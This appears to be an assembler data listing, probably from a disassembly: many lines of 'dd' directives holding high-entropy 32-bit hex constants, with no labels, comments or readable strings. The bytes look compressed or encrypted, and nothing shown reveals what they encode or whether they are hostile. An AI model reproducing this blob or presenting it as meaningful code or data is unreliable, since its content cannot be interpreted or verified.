dd 2F9D5F31h, 4F2394h, 38324567h, 0D312D2A8h, 0E8AC54CBh
dd 7DDA4180h, 0BDEA7AA9h, 12153909h, 7DB01248h, 2DAF8490h
dd 6BDB2900h, 0B609B86Ah, 0C4250BAEh, 64E98DE6h, 890FD278h
dd 744C74B9h, 4000AA46h, 412303EBh, 0C916ED4Ch, 28C95FC4h
dd 80389B3Bh, 43EC9F56h, 0B12D0136h, 34BC7BA8h, 70F2C637h
dd 9A4F337Dh, 4E11017h, 8CBC583Ch, 3430178Ch, 706404E1h
dd 29F0192h, 3F0551F8h, 1CA023C8h, 0F8100293h, 0B77D67A6h
dd 0FD42030Ch, 0A0AE6371h, 28D4C20h, 0C8EE0E5Ch, 18CDE765h
dd 9053A1E3h, 0A05B546Bh, 0BD4583ACh, 73659899h, 30AAF288h
dd 0C000F190h, 0F76B8ADBh, 0E2264C52h, 8F7C20BFh, 9FEC0C9h
dd 0BD9C026Ah, 0BEAA0485h, 14A6D057h, 2878CE0h, 224C7C27h
dd 0B75A034h, 6C9CCCD2h, 0FA672ED6h, 37040808h, 838A5101h
dd 64756411h, 8C049B3Ah, 403CA06Dh, 83D5C6Fh, 0F0E24BE0h
dd 23842B5Bh, 0ACFB004Eh, 1021021Dh, 0D80B88E2h, 8C0A0953h
dd 0BD1EB87Fh, 569FDCA4h, 3132D004h, 0E2AC74EEh, 3056F29Ch
dd 0E824F62Eh, 0AA800498h, 0FC2AEE05h, 683C00E0h, 0C6619F54h
dd 3914DD36h, 92881783h, 9F8110E8h, 0E834C6B0h, 5C007CC9h
dd 2D58F422h, 27E30CECh, 88340BD3h, 0B584730Ch, 6A09D3h
dd 14B1602Fh, 5A9B1D7Fh, 338A1F00h, 3259B856h, 7B21C04Eh
dd 62A82BC2h, 0F275311Eh, 92A3BA06h, 0A58B1810h, 0CEAE285Ch
dd 54304260h, 0FB61DA8h, 69372D01h, 0FA1F2018h, 8CCAD603h
dd 13AAD9h, 3AF0D551h, 51C9B12Fh, 887471C1h, 0C9317E1Dh
dd 885D5808h, 1D01800Dh, 6BE63716h, 19804DC8h, 8A921132h
dd 0E5119684h, 4C0159C7h, 0FCD1A101h, 7C87E452h, 2AC82600h
dd 4B28B491h, 6F38F254h, 2963A9B2h, 0E0EFA5ECh, 10306413h
dd 21BC08CCh, 0EC210072h, 1C018E27h, 0B300578Ah, 8D6714B8h
dd 0C0BD0FB2h, 989ECFD8h, 1C017789h, 0B76E2CE7h, 2361C2DBh
dd 8CB27C08h, 7F1D8904h, 0E86763DBh, 1D810E87h, 88E0803Fh
dd 3859DD49h, 43B11BDFh, 8530A460h, 0A2B25528h, 0D52FC400h
dd 0CF393B23h, 978EC520h, 0B1B68078h, 5DD72218h, 3C7B8029h
dd 84838591h, 74DF3370h, 21680830h, 191839Eh, 3B39B6E6h
dd 41295985h, 5038BB4Ch, 92D618FCh, 44F68D07h, 8F30A584h
dd 0A4E88AFh, 0A2C55D85h, 60214440h, 0F284917Ah, 66448C7Ch
dd 91821D9Dh, 8932F01Ch, 0DB0CD569h, 50B8A3CAh, 97441A49h
dd 28B7E846h, 0C200DDA8h, 19261E7Bh, 3FE4C3C8h, 0BC186055h
dd 0A70FE12Ch, 0B62BF200h, 0AE50959Ch, 4508CCA4h, 0AF006E21h
dd 32C6B9F2h, 0C58CA66h, 0E805AE3Dh, 1E8C1DF0h, 5188917Eh
dd 8072885Ch, 0AC9186A1h, 0DB0C3A80h, 0E8C16FB2h, 44B64938h
dd 5F14F700h, 6A67A149h, 0E6B67751h, 0B42E8080h, 84A17E4Fh
dd 98518AEh, 83DB7B1Dh, 1201301Ch, 0D92E1D7Dh, 0C7B7A2h
dd 78AB270h, 4EC37F03h, 1EC88864h, 8991D367h, 1C4764CAh
dd 9187A207h, 0BD1499D0h, 1EC200FFh, 2BD71804h, 0B0C02EEBh
dd 4E02E906h, 938005Fh, 46A055E1h, 3B54D8AEh, 13002CACh
dd 623D6E6Ch, 64BF072Ah, 0C3B49063h, 18507624h, 0F8C82E4h
dd 28ABEC27h, 83C58851h, 0CBEC1F74h, 0F7C1C398h, 0E7B4A350h
dd 0A0889641h, 0BB0132D3h, 0C5DE5299h, 8C860820h, 25F2A904h
dd 4B62CCB6h, 0F2307027h, 5CF035h, 9B101CFEh, 0EB16DCCCh
dd 0B850E330h, 0CE5D957h, 4A331BD5h, 0AC2A5570h, 0C490A058h
dd 6D95244h, 0B9EFD5E0h, 0DFF86133h, 0FF24EE01h, 30BB5250h
dd 0E1AF1980h, 7496A1CEh, 1D39B00h, 82EB8037h, 53331ADBh
dd 0F4026819h, 8F018DBFh, 0D3AF3Ch, 0D54F2418h, 64B633DFh
dd 41249548h, 7930F2FCh, 43877991h, 81A08074h, 13846791h
dd 48B0DB31h, 50333044h, 8896B3C2h, 0ACF2BF4h, 4EC75CF6h
dd 808311B0h, 0B62AF2A6h, 0C7B891B4h, 0DBF2906Dh, 0F012D97Ah
dd 0BD0E083Fh, 0B8585494h, 590F8C67h, 840A9C0Dh, 6CCD4152h
dd 2AAACCh, 68057AC7h, 169B3ECDh, 9D307B01h, 0AE7F2418h
dd 59E4E440h, 872A02A0h, 80544AF0h, 2504484Ch, 4828A9ECh
dd 7620C462h, 13FEC1Dh, 57E6D9FDh, 494A373Ch, 18D0A698h
dd 5D4674h, 0B8DD3FE4h, 2AA2DFDEh, 46B4C35Bh, 0F2A50282h
dd 1CACB629h, 0F2AD6C00h, 0D3411E62h, 3CEB020Ch, 0F92DE72Ch
dd 61812884h, 0B6DCF2A8h, 44448CA4h, 0F2B0386Fh, 0F1726A07h
dd 435860C2h, 0E8CAFCC5h, 78C1DC23h, 6CE58691h, 9F886B18h
dd 49910080h, 8989594h, 563FAD59h, 78D82C9Eh, 7CB7C708h
dd 0B4027246h, 98BBABF1h, 9ED7C849h, 30C42FC1h, 5C8FFCB7h
dd 0EEC047C8h, 94B8709h, 0B4E038A9h, 5570420h, 300AC1FDh
dd 0B0747707h, 3861FF0Ch, 72E21A38h, 5CC72853h, 4660B844h
dd 0AE245F70h, 5105F4E1h, 54C0E80Ah, 40A33BD5h, 0CC18D347h
dd 0C038B060h, 6CD450AEh, 0CF2003AFh, 0AABF4704h, 15E3B811h
dd 4064C812h, 31EC463Ch, 27007FBBh, 35A08F94h, 3821DD6h
dd 0D18864D3h, 5E906DAAh, 0AE1A6031h, 9D617BD0h, 81421124h
dd 623718FEh, 740489A6h, 9200C746h, 0B365646h, 34B2732Ch
dd 1009B500h, 85C70612h, 0EC16FC13h, 29CE101h, 0E855066Ah
dd 201C1103h, 8980C35Dh, 8104246Ch, 1608CC44h, 55004521h
dd 8536F8C3h, 65999589h, 1EE95C05h, 0F1BDC511h, 8396718h
dd 6830F8Ah, 0D19D8D06h, 8B66012Dh, 0FF2381F2h, 9C9ECBFEh
dd 591C5146h, 4C8988C3h, 414017C4h, 0A0F1C351h, 0E9FE0B0Ch
dd 1D121910h, 36CF04h, 9BC7D401h, 9004E8Fh, 0E32D105Bh
dd 18DB8C66h, 3308870Fh, 0B5188960h, 619A1231h, 4C306F6h
dd 2358840Fh, 19C44E85h, 0AE749F60h, 85454B0Bh, 2A8D77FFh
dd 156E8862h, 0CA501D31h, 74CD2404h, 0E0001946h, 5A12B933h
dd 0BD158BF9h, 77D01535h, 575D0450h, 0C35F398Ch, 887C8911h
dd 57478718h, 0D4C171C3h, 9529F807h, 561C3D32h, 642147B0h
dd 0D9A601Ah, 0BE980009h
dd 70E6A589h, 0A48814E9h, 659900A8h, 0EFE27CC8h, 8A00BC08h
dd 0CEE74DD1h, 13D36E0h, 71E4655Fh, 8C0C820Fh, 0B07E939h
dd 0F4DB0056h, 6C724615h, 0D864B60Fh, 0C76453A8h, 5C892223h
dd 101D5491h, 4CC35343h, 0BB008298h, 400D5BC4h, 5590A531h
dd 6ABAF024h, 2988B548h, 0C3323F18h, 5831506Ch, 448991EFh
dd 40790019h, 2518C350h, 5B1311E8h, 97A20365h, 0E62CBBDAh
dd 0D23B0FB8h, 17A36A00h, 0B529B204h, 740961DDh, 0EEE8C15Fh
dd 0F766A140h, 5682E264h, 0C8C35E61h, 458C7489h, 0C31C2015h
dd 66149000h, 2B8D9ABEh, 0B5230CD8h, 93640CADh, 4C784FA8h
dd 0C6988100h, 86FC0B0Eh, 620703D2h, 0B60AB849h, 1AB26088h
dd 0F02E8B8h, 61585A31h, 0A8A845Eh, 0AE4CAF40h, 0E500FDB3h
dd 0E42CE1C5h, 0ACB7CBEh, 935F13CFh, 1B465C62h, 7600F63Fh
dd 62DACCB1h, 9D1001DEh, 0FF06068Dh, 0C1449B5h, 0C3525EC8h
dd 8991C35Ah, 807D3354h, 1EC35242h, 0BEA65411h, 9555C22Ah
dd 626419CDh, 0F88BF948h, 82078C1Dh, 0F03D010Dh, 6BD4B5D0h
dd 5E828D7h, 0B38E1722h, 66E800DDh, 0D998E281h, 5F61F809h
dd 9F4710E8h, 1D70008Eh, 0B531743Dh, 12921345h, 839DB3A2h
dd 9B811C11h, 0ED680256h, 2408C4E7h, 419D891Ah, 0A7C488F7h
dd 0B144674h, 0E613C16h, 9F028909h, 8216114Fh, 60C51A07h
dd 821C2DA3h, 0BF64FAAEh, 0BD58DF7h, 0C017887Fh, 376DADF8h
dd 75B50B09h, 97F31326h, 0B0D5FD84h, 0E859C054h, 2D018C19h
dd 59481168h, 263060ECh, 81054021h, 2C3BCB02h, 476136E5h
dd 6016E4EDh, 12E2888Ch, 50BDBF66h, 18B824EEh, 7E8048Ch
dd 829F5C98h, 75675875h, 0DB601D44h, 0C801E699h, 943FFAA7h
dd 0D6577B32h, 0D7248135h, 7A58504h, 88F1B21Bh, 335D7528h
dd 8E790017h, 91EBF02Ah, 0D8B3011Bh, 0E8EEDAD0h, 77C7C0ABh
dd 0B013350Bh, 0A30F12B9h, 85C183D3h, 3200606Bh, 0DD11F76Ch
dd 2012A7DEh, 0C91E879Fh, 3B83F881h, 8A310FD9h, 0A37F35BBh
dd 39E75830h, 7447D924h, 1D031B46h, 4B94C68Eh, 0F6779DE0h
dd 224EC15Dh, 292DB376h, 1819D1CCh, 3EAF0077h, 5B064C87h
dd 3A07EE81h, 2B63152Ah, 18F6C4FCh, 0D508343Dh, 0B1913886h
dd 0A71819F9h, 1DF96D00h, 8589344Ch, 912B9401h, 86602430h
dd 80F20200h, 4BA6645h, 8B61FD29h, 88B6CEC0h, 4925C015h
dd 301218BFh, 0E843070Ah, 0FE9D8h, 0BB508827h, 794AF562h
dd 0E163831Dh, 1D4593C2h, 24641A0h, 0FE8B2B80h, 3ED85C7h
dd 27DBB6C1h, 483076B7h, 0A9204141h, 16D136A8h, 9B247418h
dd 0C50886BAh, 75912018h, 0F28181F5h, 0D04969C4h, 850F0D71h
dd 8DD9453Fh, 0C4E96942h, 71CF00BEh, 7C7D52E2h, 590B8741h
dd 3285FF11h, 0C40E458Eh, 66BF601Ah, 0ED0E0B10h, 4689150Bh
dd 7C2AB888h, 0A6001D46h, 83BF21D3h, 0A016609h, 9D315F94h
dd 0BF622BE1h, 0EBC7BF80h, 29E57490h, 11DB84Bh, 34CE13CBh
dd 62E98714h, 996A07BDh, 89F15E37h, 71A6258Dh, 2AC50800h
dd 2D78100h, 9076636Bh, 48580698h, 1A660CDFh, 0FF360929h
dd 0A21815D1h, 0BD334105h, 31C806A9h, 0B70F12F3h, 0C842CBF1h
dd 0D163C31Bh, 71625FE0h, 1D3BF39h, 578AD7B3h, 2BB88B0Fh
dd 1D7DE863h, 0E2347442h, 0EC97301Ch, 0AD74F400h, 6688F071h
dd 0EE804C0Fh, 0A9A60493h, 0C9BD4305h, 0FC0C0017h, 143FF5BFh
dd 330BBE38h, 0B750FDDCh, 1AE584D6h, 80CCD01Bh, 967E948h
dd 5D902821h, 1F290F43h, 9ED5F3FFh, 0B377BB71h, 0E5BD788Ch
dd 8BF6857Ah, 0E258C152h, 0CCE73015h, 59406296h, 2D2262F6h
dd 0BCFC9B6Fh, 0E1A71634h, 0C90EF4A0h, 0BF4F4D01h, 158F528Ah
dd 40FDA520h, 0B5790922h, 14601141h, 8D9326F7h, 0D32E14C6h
dd 0BF0B18Eh, 10E86050h, 91B6C1h, 437AD038h, 392AA182h
dd 228C8A00h, 0C868BEE9h, 67EA2569h, 915E0799h, 0E3000942h
dd 3A9D84F6h, 6D0E96B7h, 336158B2h, 220F8588h, 29090683h
dd 1226C58Dh, 11B71D4Eh, 0C5D48017h, 90030F3Ah, 0F006E7E3h
dd 1617BC13h, 13F9B344h, 5C08302h, 4570FA73h, 0FE750029h
dd 0F78B40BBh, 0E9505090h, 9204BD66h, 0FE972645h, 17C85BCEh
dd 0D57299C0h, 8B3EC76Eh, 406D49F8h, 0F947B0E0h, 565B1F97h
dd 9CA6BBC2h, 4806110Bh, 107D1379h, 0D74BD27h, 148811CFh
dd 616046C2h, 8415D134h, 4351F24h, 1204D595h, 25202AAh
dd 0DC5B15AFh, 2E4A0778h, 55EFC93h, 6BD3FFF1h, 60F4035Ah
dd 840D9D29h, 26C3C01Bh, 91A0A97Eh, 0D1C73145h, 7BBCFB7h
dd 9F8B79ADh, 801C11C8h, 4C097970h, 0D6880BC0h, 32034190h
dd 7CA360Fh, 0FA7A31C0h, 0E9569904h, 0E80D0835h, 815DC043h
dd 6CC6ED24h, 46741FA4h, 8D027B19h, 720B54AFh, 1A0A41F9h
dd 830EE811h, 73EABD0Bh, 0CC9DC080h, 6C4A02C6h, 525A856Fh
dd 17A18C82h, 5BCF5F05h, 127860Bh, 1564AF47h, 8B69C460h
dd 0EF9FB4Ch, 0E5968FF6h, 0C7558D9Dh, 2ABC89h, 0A4AF5D6Bh
dd 61DDF248h, 0E3810A1Ch, 0E2DBAB35h, 5BB5F580h, 7E05BC3Ch
dd 89F8566Eh, 21195C2h, 0E2E1DB0Bh, 81601053h, 9CC607EAh
dd 0E4610D50h, 0F494898Ah, 0D101BCDFh, 0BD831819h, 0B76C15AAh
dd 3B840F14h, 3EE9FC0Dh, 808C680Dh, 0AFE01D05h, 1C990181h
dd 3E359826h, 1014E4CDh, 85C7CC1Ah, 8118D950h, 232CBE66h
dd 9A2EEE9h, 1793ABF2h, 820F4584h, 4D140612h, 67C841E4h
dd 397BB02Bh, 717D0ED9h, 3DAB7920h, 50050D04h, 0F2CE0BFDh
dd 0B424C69Dh, 0D1D521F0h, 9011818h, 17A91476h, 14D84DCEh
dd 4DB52BC8h, 225B016Dh, 83297914h, 4A2CCD23h, 0A6CC741Eh
dd 1CF1A75Ah, 796DE850h, 0D7ED8200h, 5EB11814h, 2A8B1D02h
dd 0CC60F80Bh, 5C59ECB6h, 0A74C6161h, 5DB13D46h, 0D37631D3h
dd 0C8E90B84h, 328C296h, 441502E5h, 0DCEB0E53h, 9D935D40h
dd 0B0587C9Ah, 8C1DECD4h, 0D0D4FC00h, 45B376C6h, 0A085097Dh
dd 0A84570E6h, 0EE601AE4h, 0B23CF9B8h, 0BEF6009Ch, 534DBA71h
dd 1123EBE4h, 7D3114A2h, 4400DA73h, 0B20FE6A6h, 42B49342h
dd 0D156526h, 456A4F9Bh, 9C1C1823h, 0B8578E1Dh, 30E18205h
dd 0BD0846A2h, 26917A9h, 0B1B15B9h, 0A5600A6Fh, 222BF27h
dd 2B13ED5Ah, 444150D8h, 0A2E12324h, 0BB1E3016h, 0BD892005h
dd 0CBB731ADh, 1925A04Dh, 2C73EEBAh, 0FC1870h, 284C511Dh
dd 1EBEF81h, 0C070992Eh, 52EA32C0h, 5220E135h, 248FECBEh
dd 2B32400Dh, 584C7859h, 0F202B298h, 3ACBFE05h, 0F83041D5h
dd 41E91630h, 227D691Fh, 175E9045h, 0CF21C4D6h, 0C01A8858h
dd 497DA17Fh, 9D210113h, 3DCC4513h, 62BA4DFFh, 0E42D5184h
dd 0C3F2FB2Bh, 2DC4194h, 7F16D7DFh, 30908F0Fh, 0E6821331h
dd 0FB9DF4DFh, 628907EEh, 0A1DB0709h, 731C1A51h, 0DA614D04h
dd 0BAC1FCE5h, 810034EDh, 2312CAF7h, 83564584h, 1D23803Ah
dd 45AD0038h, 0B0370BB7h, 0CDF534F7h, 42C4E5E2h, 8B66608Ch
dd 0F4D30B00h, 0CE8AB30Dh, 0F1FB34Dh, 1FA88D01h, 58610Bh
dd 5EC94F5Ah, 9174B632h, 0F0DA563Ah, 3529DE22h, 0A2677995h
dd 0B97B5D7Eh, 69BD3084h, 1057AD09h, 165A017Dh, 0C4908A3h
dd 0F68729BBh, 375D858Dh, 0CD228B69h, 8310F85Bh, 8C1CE8C8h
dd 1F67EB05h, 0A70EFD77h, 84C8F62Fh, 26408A62h, 0BEB123ADh
dd 62CE5B46h, 0C32B1B85h, 1A700E53h, 0ED0F0027h, 9D5BB442h
dd 6C988237h, 0B403F520h
dd 5417C491h, 14F9101Bh, 1746E918h, 5BB82B60h, 56180E60h
dd 0B658E58Ah, 0DA372F70h, 1571E00h, 9C83C27h, 56FD7DADh
dd 38001351h, 704EC4C0h, 0C919975Dh, 86DAC65Fh, 41B795h
dd 0F2A8D791h, 0C725DC7Dh, 0FBF0C885h, 10E126BDh, 184674AAh
dd 9482FA3Fh, 0F88B5131h, 2D75F140h, 0B2A6ADB6h, 6D1B350Bh
dd 5344BF89h, 56BF6605h, 7AB35FEAh, 7DBD3304h, 0B414AC08h
dd 0EEC073DAh, 0B70FE30Eh, 2FE8FB25h, 0F83F60B9h, 0B3878Bh
dd 0C867CE04h, 8179B86Eh, 297A0304h, 2926585h, 0C80CC5Eh
dd 11B5BD31h, 9026F8F3h, 0B64036E8h, 2EE931Dh, 0D87105C7h
dd 56800BE9h, 2AD55634h, 0A0ED9500h, 0F98665F7h, 8D0F275Fh
dd 2305B618h, 15F1B4B1h, 9F58EF18h, 0A8F93930h, 23152C8Ch
dd 0A9EDBDh, 0C06ABA60h, 590F0D74h, 0D28B4B80h, 20888503h
dd 0F665144Eh, 1E45A806h, 0A61E245h, 1AE7B966h, 334438EAh
dd 84A59527h, 0DA26123h, 0B5301CF2h, 160C00F0h, 0DAA226D6h
dd 2F97E958h, 4B380078h, 19271DFh, 0D5B56731h, 0F093A797h
dd 2304BE72h, 0FDBD0160h, 9528E8BDh, 8472987Dh, 0BE6102AFh
dd 69398EB9h, 0D3E7F8C0h, 0B8609101h, 74BA0ACFh, 5AECFD21h
dd 0FE614CFCh, 0C8C17E8h, 42F4D255h, 0A40BDE60h, 62F6E94Ah
dd 0E0AF6D6Eh, 531DF64Ah, 0A0BE7112h, 8BF76A05h, 0C1D9088Dh
dd 1AA29323h, 465AD30h, 5FA83A84h, 0BDD8C126h, 78A70519h
dd 12A76A5Ah, 2F135AA9h, 5DF70880h, 40E94FFDh, 23512A56h
dd 0E000BA56h, 0A4109C62h, 98DA20Bh, 0E28A60D2h, 2B000551h
dd 0B5FE6754h, 0CD0D0F16h, 0DA20E0FCh, 613F315Ah, 416993B6h
dd 743A1B92h, 8871CBE5h, 13CCC01Ah, 0E004BF9h, 40BE4336h
dd 0D10C54BBh, 77BCB74Eh, 0C770EE73h, 48D731ECh, 0A680219Bh
dd 0E0DB6259h, 31727D0Ah, 0ED0481F9h, 0B94E1621h, 2D9CD996h
dd 56C2A839h, 16A2A196h, 48E17930h, 0F1162B98h, 0F0C9930Dh
dd 13E84E18h, 4CA9A42Dh, 3700D907h, 0E106FB9Dh, 9C128B2Fh
dd 0EB038DEBh, 0A20B4B82h, 69E47011h, 0A4ED425Eh, 0BD5222C0h
dd 0E7262695h, 0F1350200h, 0A7D944D7h, 0C71358A8h, 7912A0FBh
dd 35D2004h, 2C72E052h, 4D728CB6h, 0CDFE60DDh, 8B2DD3FFh
dd 605498F3h, 69951409h, 0E0014907h, 0E961FEBEh, 31D9EE76h
dd 0B21F762h, 1451C902h, 42A6C7CDh, 4D25702Eh, 8E2FC38Ah
dd 0C19D8BA8h, 0B4F80840h, 1917E9CBh, 67801B11h, 99FA312Fh
dd 2C75A716h, 51FCC492h, 181DF19Eh, 2569004Dh, 76D8A93Fh
dd 685CF7CDh, 1C351060h, 22BD8305h, 27DBA220h, 0C4CEE753h
dd 6B196018h, 693700DAh, 311167BFh, 0CF6AE973h, 1F4F9C4h
dd 0B13F7DA7h, 784CA9DBh, 0C1A13573h, 9FC0F286h, 0CE732BBAh
dd 0BE6BF50h, 532E8D46h, 286963B0h, 80FB523Eh, 51D9A591h
dd 6BE901B0h, 90B72165h, 0D703CC00h, 2EB4C5Ah, 295C60DDh
dd 9958859Dh, 0D95010Ah, 14CE712Fh, 8C1BFCCEh, 20EAB800h
dd 27882F8h, 88A4A22Ah, 243BA435h, 6929E8F2h, 0C07FED27h
dd 833C903Bh, 0F5BF660Bh, 0ACA8530Dh, 0F300D68Ch, 9101192Eh
dd 5A7FEAD1h, 60D5833Dh, 0A463B8A0h, 548094B9h, 0C6AB36A6h
dd 6CEC00EFh, 87E6AE29h, 7A0B4964h, 63610C92h, 0F0A013C7h
dd 0F6C90B86h, 60699C64h, 705C7B4Bh, 5909FE23h, 79509D0Ah
dd 0BE120F77h, 9C7597C0h, 7E2DA9ADh, 11BF4CB1h, 611B699Dh
dd 2113BAD8h, 4218202Eh, 97025975h, 0C2F04BBBh, 0A74E5627h
dd 0DF817918h, 1F9C4B01h, 2FBE94Ch, 63248C05h, 90F8AE07h
dd 66A0DA53h, 7682420h, 3E84D9BEh, 0EEDB09B0h, 17181B70h
dd 6F70E6DEh, 0B79C1495h, 26911382h, 9A4BE8E3h, 0E1DB8AA0h
dd 5E6BBD02h, 0B64D057h, 225DB509h, 22AB806Ch, 69C0C392h
dd 2B40DD9h, 5126F3C9h, 4F03C05h, 0C7DBD8Bh, 7B4ECBF5h
dd 0C5C01888h, 4843F0B2h, 0B80F5570h, 0B29C9304h, 5CD90EAFh
dd 0D8B3FE44h, 2EF58662h, 467E93D6h, 0EBC7001Ch, 724BED4Eh
dd 0AE6A04BFh, 0D1D58529h, 3B8B0F4Ch, 42FB4222h, 31DE0001h
dd 0B61BC99Dh, 1B46233h, 0BF726007h, 0BADE40C3h, 0D357FF05h
dd 0BD37D9A0h, 98D2A659h, 1F692D53h, 49916B66h, 0E9181871h
dd 49AAB800h, 0EF45BF70h, 0F4715458h, 5EAAB889h, 0C6512610h
dd 43D3DA82h, 4500870h, 0F78B3D3Bh, 8074A858h, 0C54061F3h
dd 0B59F00DEh, 0C66AC7FDh, 0B81607C8h, 0BA926DA8h, 5B92A922h
dd 0D3327031h, 0B5248D5Ah, 6E6A8DF1h, 1ECE0062h, 0EA91F8E5h
dd 4DD25ABFh, 2627D19Eh, 9896F0E5h, 172600C5h, 0FCA4A3B1h
dd 100BCE81h, 4F737A47h, 0F15060C7h, 4D04A1EFh, 349003B7h
dd 284A7533h, 9B005A6Fh, 0B643CEE8h, 0AB9091BDh, 3803E92Dh
dd 0C7BEE9h, 5B10E374h, 0B531C32Bh, 0C3B41BFCh, 5FAB2E51h
dd 63487831h, 17A41424h, 0B7611027h, 8E950FFh, 0C08B2DF8h
dd 105BA229h, 21C1470h, 665177D3h, 5B5E3F42h, 4B25442Ch
dd 9DD9F89Fh, 731ADA77h, 0DCB076h, 2A70E526h, 9E064E62h
dd 1AC0E32Dh, 0E4A77908h, 0D6814020h, 7CC46725h, 498D5A4Eh
dd 7242504Ah, 5E167F7Ch, 0DD38B58Dh, 29B5DDD3h, 2FF2A861h
dd 3F20E9D0h, 0A6FDFA1Dh, 22DD0D00h, 9C335550h, 0CEA6B4F3h
dd 0D25C4h, 0ECBE6690h, 0AD099F9Bh, 184173D0h, 2E31C28Ah
dd 1223E06h, 2C0824C8h, 0C16518E1h, 0D5598D29h, 0DBC85A75h
dd 701609EEh, 99D90F75h, 9BA28180h, 3B28D8h, 3F909495h
dd 7EE086AAh, 0C8005FE8h, 0C78103F6h, 5A47A663h, 8879C82Fh
dd 8DFEEF00h, 1323FC56h, 78D00046h, 0B6376160h, 890A0CD9h
dd 0FF5F53ABh, 34BD8D06h, 4061EAADh, 9510091Dh, 23051B81h
dd 1610A5B5h, 9B43D412h, 7A9FC15Eh, 3BF4C108h, 6EEC4BD1h
dd 0A73C9Bh, 0D61C29DAh, 6938449Ch, 0ABEACC8Dh, 6E83DB03h
dd 2349B013h, 0E0FBEF93h, 4C427B7Ch, 17E8665Fh, 7470008Ch
dd 8CE94999h, 8BE2FFF8h, 3460F077h, 1E4BDE27h, 14FE141h
dd 249DE9B1h, 0C200B522h, 0D4C8B856h, 39DCCC6Ah, 0F40082E4h
dd 0AFA98FEh, 0F00AD15h, 0E0D547A2h, 0EADA78h, 1F18FF3h
dd 1A0AA808h, 24C22000h, 2B53C425h, 75FF0030h, 0C7E1F32h
dd 300BE56h, 0CB5FA134h, 3D0779Bh, 1C8689D3h, 90A05CE0h
dd 0D100272Ah, 37958F67h, 897E34h, 99938321h, 0D81E903Bh
dd 4491CE00h, 0A285EF87h, 94F23CECh, 7DE7DB80h, 0A402FCD2h
dd 0B3F71003h, 3D184AA6h, 0CE834529h, 196F72D8h, 4E941DC8h
dd 2F031A7Ch, 754424C5h, 8F7FD87Bh, 98360096h, 0F7EFAFA8h
dd 3C019295h, 0F4EBA1A4h, 77FC8D90h, 0A3150097h, 568A34D5h
dd 0A1000B13h, 0C570D0C9h, 291FBEFh, 0BFB9A927h, 9E0DD4Eh
dd 0C4036FE9h, 8ADBDE76h, 7313005Dh, 5F15187Ch, 0FE01016Bh
dd 61E3C33Ch, 2383C8F0h, 92F189D7h, 20211B91h, 0D80AB86Bh
dd 8870AD04h, 0A819A201h, 2E80F180h, 86EAE18Fh, 4B2F84EEh
dd 302E2063h, 1D687931h, 1DD25CA7h, 62D3032Ch, 3800073Ah
dd 0B189F341h, 315659B7h, 8A19DB05h, 0C81FF4D3h, 621D7A2Eh
dd 0B5C0A725h, 0AEB11B60h, 9E0407F8h, 407DABCCh, 0DCD1C9F4h
dd 1B717400h, 0D4CA8083h, 0E6B006Eh, 0B4A87757h, 0BC07AC4Ah
dd 0C68B68C2h, 7301AE40h, 1619007Bh, 0C7D28C0h, 82C9E3E4h
dd 675200EBh, 1E1A0F13h, 5F9AFB2h, 407C989Bh, 32928B96h
dd 6F00D92Fh, 9C3AA297h, 54B2ACh, 0CFAE20A9h, 356A7EAFh
dd 648C1F0Ch, 6B58EFh
dd 1AD0B31Dh, 5696022h, 14AC0200h, 0E4BA7D11h, 848703EFh
dd 0EA12832Eh, 0A3F13500h, 0E4B89839h, 0C068509Dh, 0F88958C4h
dd 0C0846394h, 88F4C0E8h, 7800DAD2h, 9FFDF7CDh, 0F55235h
dd 89E9E254h, 0C0AB95A0h, 0D5B55600h, 25961106h, 6C7C60FDh
dd 8826BE0Ch, 0EB5CE513h, 0D1EC02A1h, 767900D7h, 69D32120h
dd 34009C91h, 1F857B31h, 0AAF881Ch, 0F6B4FBCFh, 62DB08D8h
dd 80A08194h, 15797046h, 0C4BC0012h, 2A026CCAh, 4D2ABE31h
dd 3B00FC25h, 95E3E242h, 0C45179EAh, 800A5817h, 5EC2B9A1h
dd 0AEA55B00h, 33EA474Ah, 3EE41E53h, 0E1D68185h, 2287DB79h
dd 305D1811h, 534843h, 3D32E8EBh, 0BE75D2D5h, 107EDE7Ch
dd 40A09900h, 815535D6h, 0C27B622Ah, 17230171h, 0B2B5910Fh
dd 0A1F324h, 29AB8B4Ah, 0F7FA5A53h, 5F2437F2h, 0C4001867h
dd 2B95F5EEh, 24BF00AEh, 2CAF0879h, 0DE4869FBh, 0DDD700E4h
dd 0F7F1E17Fh, 65EE2699h, 0C007493Ch, 75FB4323h, 0C493E4C9h
dd 0A50390F2h, 0BEE58A6h, 79BBBBBAh, 4EAC0120h, 3A9E954Bh
dd 1CFCE437h, 8407AD3Dh, 47A59F6Eh, 4B6505D0h, 0DBF400D0h
dd 0F3F68E7Ch, 0E500433Dh, 0B123C6E2h, 0FA77D8C0h, 4FB9009Dh
dd 5FFCEAEh, 0E9065347h, 52A5CD3Eh, 66B43F72h, 1B8D3000h
dd 6C619A96h, 35700400h, 19F66077h, 300C05C2h, 408B09DEh
dd 636AAF9Fh, 0C43035E0h, 0C269DA7Bh, 0BB1B0014h, 1FCA62B8h
dd 0CC76C096h, 76095F06h, 36E3C4Eh, 0C2A50F5Dh, 37EBD059h
dd 98461700h, 3EA8409Eh, 0E6C0066h, 15868070h, 0F3601B8Ch
dd 19ACFA27h, 0F80FC0F1h, 590F12AAh, 765F4Ch, 7A4929E2h
dd 0A0772280h, 0C1CCF4C0h, 0F285D32Dh, 0D10F80CAh, 0A69B1983h
dd 2FB0024Fh, 766E44DEh, 51BBD740h, 0EA49184Fh, 43C218BEh
dd 0AB50E44h, 3D000898h, 8DF7614Ch, 0A3790200h, 0ED4346AEh
dd 8100E83h, 809C17B6h, 0D49FBBCDh, 0BF00288Ah, 69FD814Ah
dd 904DD11Ah, 7349003Dh, 3AAD177Dh, 0E8001312h, 672720EFh
dd 0A0D6Fh, 63191CB4h, 0A805086Ch, 0A211F100h, 0D145259Eh
dd 98430FD6h, 16C01F27h, 2A0EE90h, 0BFB82332h, 80D380D1h
dd 221248Ah, 178833CBh, 0D8841C02h, 41998723h, 0F8369E93h
dd 9B0073DDh, 8F4F47A1h, 4C04B7FCh, 6480AEE2h, 0FE6FF861h
dd 0A3E0D628h, 4337E50Fh, 0E88000D9h, 60EC0B7Eh, 0D77A1ADFh
dd 0C200E965h, 84DBD1A2h, 2F978Ch, 0CB6CD62Ch, 0C4221CEBh
dd 1F901906h, 0E6360DF7h, 0B5B40014h, 0EA7FFD67h, 44EE60E3h
dd 1135B300h, 0D445CE70h, 0ED361EACh, 0C05CE6Fh, 0C53A9E5h
dd 6BE472DAh, 10137100h, 0A61AFAB9h, 1C79A7h, 193ECEFFh
